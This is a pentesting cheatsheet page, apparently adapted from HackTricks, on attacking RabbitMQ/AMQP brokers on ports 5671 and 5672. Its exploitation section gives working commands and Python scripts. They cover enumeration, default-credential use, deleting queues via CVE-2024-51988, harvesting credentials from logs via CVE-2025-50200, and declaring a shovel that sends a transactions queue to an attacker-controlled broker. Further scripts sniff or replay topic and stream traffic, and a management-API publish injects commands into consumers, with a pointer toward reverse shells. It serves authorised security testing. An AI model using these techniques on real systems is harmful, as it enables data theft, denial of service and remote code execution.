daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

5671-5672-pentesting-amqp.md (17400B)


      1 ---
      2 title: "5671,5672 - Pentesting AMQP"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/5671-5672-pentesting-amqp.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/5671-5672-pentesting-amqp.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 5671,5672 - Pentesting AMQP
     14 
     15 ## Basic Information
     16 
     17 **RabbitMQ** is a message and streaming broker. Producers publish messages to exchanges, exchanges route them to queues or streams, and consumers receive them. RabbitMQ supports AMQP 0-9-1 and, since RabbitMQ 4.0, native AMQP 1.0 on the same listeners, plus optional protocol plugins.<sup>[[1]](#references)[[11]](#references)</sup>
     18 
     19 **Default ports:** 5672 for plain AMQP and 5671 for AMQP over TLS.<sup>[[2]](#references)</sup>
     20 
     21 ```text
     22 PORT     STATE SERVICE VERSION
     23 5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
     24 ```
     25 
     26 - **Default credentials**: `guest:guest`. RabbitMQ restricts them to localhost through `loopback_users`, but many Docker/IoT images disable that check, so always test remote login before assuming it is blocked.
     27 - **Authentication mechanisms**: PLAIN and AMQPLAIN are enabled by default, ANONYMOUS is mapped to `anonymous_login_user`/`anonymous_login_pass`, and EXTERNAL (x509) can be exposed when TLS is enabled. Enumerate what the broker advertises so you know whether to try password spraying or certificate impersonation later.<sup>[[3]](#references)</sup>
     28 - **AMQP 1.0 on the same listener**: RabbitMQ 4.x exposes native AMQP 1.0 on `5672/5671`. Targeting `/queues/<queue>` sends to an existing queue through the internal `amq.default` exchange; the user still needs write permission on `amq.default`, and the queue must exist.<sup>[[11]](#references)</sup>
     29 
     30 ## Enumeration
     31 
     32 ### Manual
     33 
     34 ```python
     35 import amqp
     36 # By default it uses "guest":"guest"
     37 conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
     38 conn.connect()
     39 print("SASL mechanisms:", conn.mechanisms)
     40 for k, v in conn.server_properties.items():
     41     print(k, v)
     42 ```
     43 
     44 Once authenticated, dump `conn.server_properties`, `conn.channel_max` and `conn.frame_max` to understand throughput limits and whether you can exhaust resources with oversized frames.
     45 
     46 Starting with RabbitMQ **4.3.1**, **passive** `queue.declare` / `exchange.declare` calls require at least one matching permission (`configure`, `write`, or `read`) on the target object. They do not create topology, and differences between `NOT_FOUND` and `ACCESS_REFUSED` can help distinguish nonexistent names from names outside the account's permission regex.<sup>[[12]](#references)</sup>
     47 
     48 ### Automatic
     49 
     50 ```bash
     51 nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
     52 
     53 PORT     STATE SERVICE VERSION
     54 5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
     55 | amqp-info:
     56 |   capabilities:
     57 |     publisher_confirms: YES
     58 |     exchange_exchange_bindings: YES
     59 |     basic.nack: YES
     60 |     consumer_cancel_notify: YES
     61 |   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
     62 |   information: Licensed under the MPL.  See http://www.rabbitmq.com/
     63 |   platform: Erlang/OTP
     64 |   product: RabbitMQ
     65 |   version: 3.1.5
     66 |   mechanisms: PLAIN AMQPLAIN
     67 |_  locales: en_US
     68 ```
     69 
     70 ### TLS/SASL checks
     71 
     72 - **Probe AMQPS**:
     73   ```bash
     74   openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
     75   ```
     76   This leaks the certificate chain, supported TLS versions and whether mutual TLS is required.
     77 - **List listeners** without creds:
     78   ```bash
     79   rabbitmq-diagnostics -q listeners
     80   ```
     81   Useful once you get low-priv shell access to the host.
     82 - **Spot ANONYMOUS logins**: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the `anonymous_login_user` (defaults to `guest`).<sup>[[3]](#references)</sup>
     83 
     84 ### Brute Force
     85 
     86 - [**AMQP Protocol Brute-Force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
     87 - [**STOMP Protocol Brute-Force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
     88 
     89 ## Exploitation Tips
     90 
     91 ### Queue deletion without configure perms (CVE-2024-51988)
     92 
     93 Open-source RabbitMQ versions **after 3.12.7 and before 3.12.11** fail to check the `configure` permission when queues are deleted through the HTTP API. An authenticated user with some permission on the target vhost and HTTP API access can delete queues for which it lacks deletion permission. RabbitMQ 3.12.11 fixes the issue; Tanzu version ranges differ, so consult the advisory.<sup>[[4]](#references)</sup>
     94 
     95 ```bash
     96 # confirm vulnerable version first
     97 rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
     98 # delete a high-value queue
     99 curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
    100 ```
    101 
    102 Combine this with `rabbitmqadmin list permissions` to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check [15672 pentesting](/hacktricks/network-services-pentesting/15672-pentesting-rabbitmq-management) for more HTTP API endpoints to chain with this bug.
    103 
    104 ### Harvest credentials from RabbitMQ logs (CVE-2025-50200)
    105 
    106 RabbitMQ **3.13.0–3.13.7** and **4.0.0–4.0.7** can log the complete HTTP Basic `Authorization` header when a management API request raises certain errors, such as a lookup for a nonexistent queue. Patched versions are 3.13.8 and 4.0.8. If you gain authorized filesystem access, search the RabbitMQ logs for leaked credentials belonging to users whose requests triggered the affected error path.<sup>[[5]](#references)</sup>
    107 
    108 ```bash
    109 curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
    110 sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
    111 ```
    112 
    113 Correlate any decoded value with its timestamp and request context, then test reuse only within scope over AMQP, STOMP, MQTT, or the management API. Avoid deliberately submitting third-party credentials to the vulnerable endpoint because that creates another plaintext copy in the logs.
    114 
    115 ### Weaponize rabbitmqadmin-ng
    116 
    117 `rabbitmqadmin` v2 (aka rabbitmqadmin-ng) is a self-contained CLI that talks to the management API and now ships statically linked builds for Linux/macOS/Windows. Drop it on your bounce box and script:<sup>[[6]](#references)</sup>
    118 
    119 ```bash
    120 # enumerate live channels and prefetch pressure
    121 rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
    122 # clone a shovel to exfiltrate messages to attacker-controlled broker
    123 rabbitmqadmin shovels declare_amqp091 \
    124   --name loot \
    125   --source-uri amqp://user:pass@target:5672/%2f \
    126   --destination-uri amqp://attacker:pw@vps:5672/%2f \
    127   --source-queue transactions \
    128   --destination-queue stolen
    129 ```
    130 
    131 The tool's health checks can also ask the management API whether a node listens on a given port, for example `rabbitmqadmin health_check port_listener --port 5672`. This reports listener presence; it does not by itself prove that the listener is plaintext, TLS-enabled, or externally reachable.
    132 
    133 ### Message hijacking/sniffing
    134 
    135 If permissions allow broad bindings to topic exchanges, you can copy matching messages into a temporary queue without consuming them from the original queue. Creating the queue requires `configure`, binding it requires `write` on the exchange and `read` on the queue, and consuming requires `read` on the queue.<sup>[[3]](#references)</sup>
    136 
    137 ```python
    138 import pika
    139 creds = pika.PlainCredentials('user','pass')
    140 conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
    141 ch = conn.channel()
    142 ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
    143 ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
    144 for method, props, body in ch.consume('loot', inactivity_timeout=5):
    145     if body:
    146         print(method.routing_key, body)
    147 ```
    148 
    149 Swap the routing key for `audit.#` or `payments.*` to focus on sensitive flows, then republish forged messages by flipping `basic_publish` arguments—handy for replay attacks against downstream microservices.
    150 
    151 Remember that **topic authorisation is often weaker than defenders expect**: on fresh RabbitMQ installations, if no topic permissions were explicitly defined, publishing to and consuming from topic exchanges is still authorised once the normal resource permissions match. In practice, broad binds such as `#` or `user.#` frequently work for low-priv users that were only intended to access a narrow subset of subjects.<sup>[[3]](#references)</sup>
    152 
    153 ### Replay historical traffic from stream queues
    154 
    155 If the target uses **stream queues** (`x-queue-type=stream`), treat them like an append-only log instead of a classic destructive queue. RabbitMQ streams retain messages after consumption, and a consumer can attach from the **first** available message, a specific numeric offset, or a timestamp. That means a stolen read-capable account can often recover historical jobs, credentials, tokens, or PII long after the original consumer processed them.<sup>[[7]](#references)</sup>
    156 
    157 ```python
    158 import pika
    159 creds = pika.PlainCredentials('user','pass')
    160 conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
    161 ch = conn.channel()
    162 for method, props, body in ch.consume(
    163     'orders-stream',
    164     arguments={'x-stream-offset': 'first'},
    165     inactivity_timeout=5,
    166 ):
    167     if body:
    168         print(body)
    169 ```
    170 
    171 If you see queue type `stream` in the management UI or via `rabbitmqadmin queues list name type arguments`, immediately test historical replay. This is especially valuable in incident-response, CI/CD, and IoT deployments where old messages still contain bearer tokens, firmware URLs, or command payloads.
    172 
    173 ### Subscribe to `amq.rabbitmq.event` for recon
    174 
    175 When the `rabbitmq_event_exchange` plugin is enabled, RabbitMQ republishes internal events to the topic exchange `amq.rabbitmq.event`. With read access, you can bind a temporary queue to patterns such as `user.#`, `queue.#`, `binding.#`, or `connection.#` and turn the broker into a live recon feed: failed logins, new queues, deleted bindings, and other administrative activity become visible in near real time.<sup>[[8]](#references)</sup>
    176 
    177 ```python
    178 import pika
    179 creds = pika.PlainCredentials('user','pass')
    180 conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
    181 ch = conn.channel()
    182 ch.queue_declare(queue='evtloot', exclusive=True, auto_delete=True)
    183 ch.queue_bind(queue='evtloot', exchange='amq.rabbitmq.event', routing_key='user.#')
    184 for method, props, body in ch.consume('evtloot', inactivity_timeout=5):
    185     if props and props.headers:
    186         print(method.routing_key, props.headers)
    187 ```
    188 
    189 The message body is blank, so inspect headers/annotations instead. This is a very useful way to monitor credential spraying, discover admin activity, or identify queue names worth targeting next.
    190 
    191 ### Consumer-side command injection (message bus -> RCE)
    192 
    193 Treat every message broker as a potential **code-delivery primitive** when downstream consumers turn message data into shell commands, SQL, template input, or config updates. The critical anti-pattern is a worker that reads attacker-controlled content from a queue/topic and feeds it into a shell, for example `bash -c "$MESSAGE"`, `sh -c`, `os.system`, `subprocess(..., shell=True)`, `Runtime.exec`, or `Command::new("bash").arg("-c").arg(message)`.<sup>[[10]](#references)</sup>
    194 
    195 Typical exploitation chain:
    196 
    197 1. Gain **publish capability** to a queue/topic:
    198    - Direct broker access with weak/default credentials or no auth
    199    - Access to an HTTP publish feature such as RabbitMQ Management `POST /api/exchanges/%2F/<exchange>/publish`
    200    - SSRF into an internal broker or debug endpoint that can speak raw TCP to the broker
    201    - Compromise of any producer service that already writes to the target queue/topic
    202 2. **Locate the sink** in source/config:
    203    - Workers calling shells after deserializing messages
    204    - "task runners" that accept commands over the queue
    205    - Consumers that rebuild config files and then execute hooks/reload scripts
    206 3. Publish a **benign probe** first (`id`, `whoami`, `uname -a`) to confirm execution without destroying the worker
    207 4. Upgrade to a reverse shell or data theft once the execution path is confirmed
    208 
    209 Things to look for during source review:
    210 
    211 - Consumer groups named `update`, `jobs`, `tasks`, `commands`, `hooks`, `admin`, `dns`, or `sync`
    212 - Supervisor/systemd entries launching both a broker consumer and a privileged helper in the same container
    213 - Log lines showing a worker executes each message and then republishes results to a second queue/topic
    214 
    215 Example RabbitMQ publish through the management API:
    216 
    217 ```bash
    218 curl -u user:pass -H 'content-type: application/json' \
    219   -X POST http://TARGET:15672/api/exchanges/%2F/amq.default/publish \
    220   -d '{"properties":{},"routing_key":"update","payload":"id","payload_encoding":"string"}'
    221 ```
    222 
    223 The same pattern appears outside AMQP. In Kafka, once you can reach the broker and craft a valid **Produce** request for the attacker-controlled topic, any consumer that forwards the message body to `bash -c` becomes an RCE sink. If the only reachable primitive is SSRF, check whether it can send **raw TCP bytes** or follow a `gopher://` redirect so you can still speak the broker protocol.<sup>[[9]](#references)</sup>
    224 
    225 ## Other RabbitMQ ports
    226 
    227 In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq uses several ports**:<sup>[[2]](#references)</sup>
    228 
    229 - **1883, 8883**: [MQTT clients](https://mqtt.org) without and with TLS, if the [MQTT plugin](https://www.rabbitmq.com/mqtt.html) is enabled. [Learn how to pentest MQTT here](/hacktricks/network-services-pentesting/1883-pentesting-mqtt-mosquitto).
    230 - **4369: epmd**, a peer discovery service used by RabbitMQ nodes and CLI tools. [**Learn more about how to pentest this service here**](/hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd).
    231 - **5672, 5671**: used by AMQP 0-9-1 and 1.0 clients without and with TLS
    232 - **15672**: [HTTP API](https://www.rabbitmq.com/management.html) clients, [management UI](https://www.rabbitmq.com/management.html) and [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (only if the [management plugin](https://www.rabbitmq.com/management.html) is enabled). [**Learn more about how to pentest this service here**](/hacktricks/network-services-pentesting/15672-pentesting-rabbitmq-management).
    233 - 15674: STOMP-over-WebSockets clients (only if the [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) is enabled)
    234 - 15675: MQTT-over-WebSockets clients (only if the [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) is enabled)
    235 - 15692: Prometheus metrics (only if the [Prometheus plugin](https://www.rabbitmq.com/prometheus.html) is enabled)
    236 - 25672: used for inter-node and CLI-tool communication (the Erlang distribution server port) and allocated from a dynamic range, limited to one port by default and commonly computed as the AMQP port plus 20000. Unless external connections are required, it should not be publicly exposed.<sup>[[2]](#references)</sup>
    237 - 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See [networking guide](https://www.rabbitmq.com/networking.html) for details.<sup>[[2]](#references)</sup>
    238 - 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) without and with TLS (only if the [STOMP plugin](https://www.rabbitmq.com/stomp.html) is enabled).
    239 
    240 ## See also
    241 
    242 See [NATS pentesting](/hacktricks/network-services-pentesting/4222-pentesting-nats).
    243 
    244 ## Shodan
    245 
    246 - `AMQP`
    247 
    248 ## References
    249 
    250 - [1] [CloudAMQP – RabbitMQ for beginners](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
    251 - [2] [RabbitMQ Networking Guide](https://www.rabbitmq.com/networking.html)
    252 - [3] [RabbitMQ Authentication, Authorisation & Access Control](https://www.rabbitmq.com/docs/access-control)
    253 - [4] [RabbitMQ advisory GHSA-pj33-75x5-32j4 / CVE-2024-51988](https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-pj33-75x5-32j4)
    254 - [5] [GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header](https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-gh3x-4x42-fvq8)
    255 - [6] [rabbitmqadmin v2 (rabbitmqadmin-ng)](https://github.com/rabbitmq/rabbitmqadmin-ng)
    256 - [7] [RabbitMQ Streams and Superstreams](https://www.rabbitmq.com/docs/streams)
    257 - [8] [RabbitMQ Event Exchange Plugin](https://www.rabbitmq.com/docs/event-exchange)
    258 - [9] [Apache Kafka Protocol Guide](https://kafka.apache.org/41/design/protocol/)
    259 - [10] [HTB: Sorcery](https://0xdf.gitlab.io/2026/04/25/htb-sorcery.html)
    260 - [11] [RabbitMQ documentation - AMQP 1.0](https://www.rabbitmq.com/docs/amqp)
    261 - [12] [RabbitMQ 4.3.1 release notes](https://github.com/rabbitmq/rabbitmq-server/releases/tag/v4.3.1)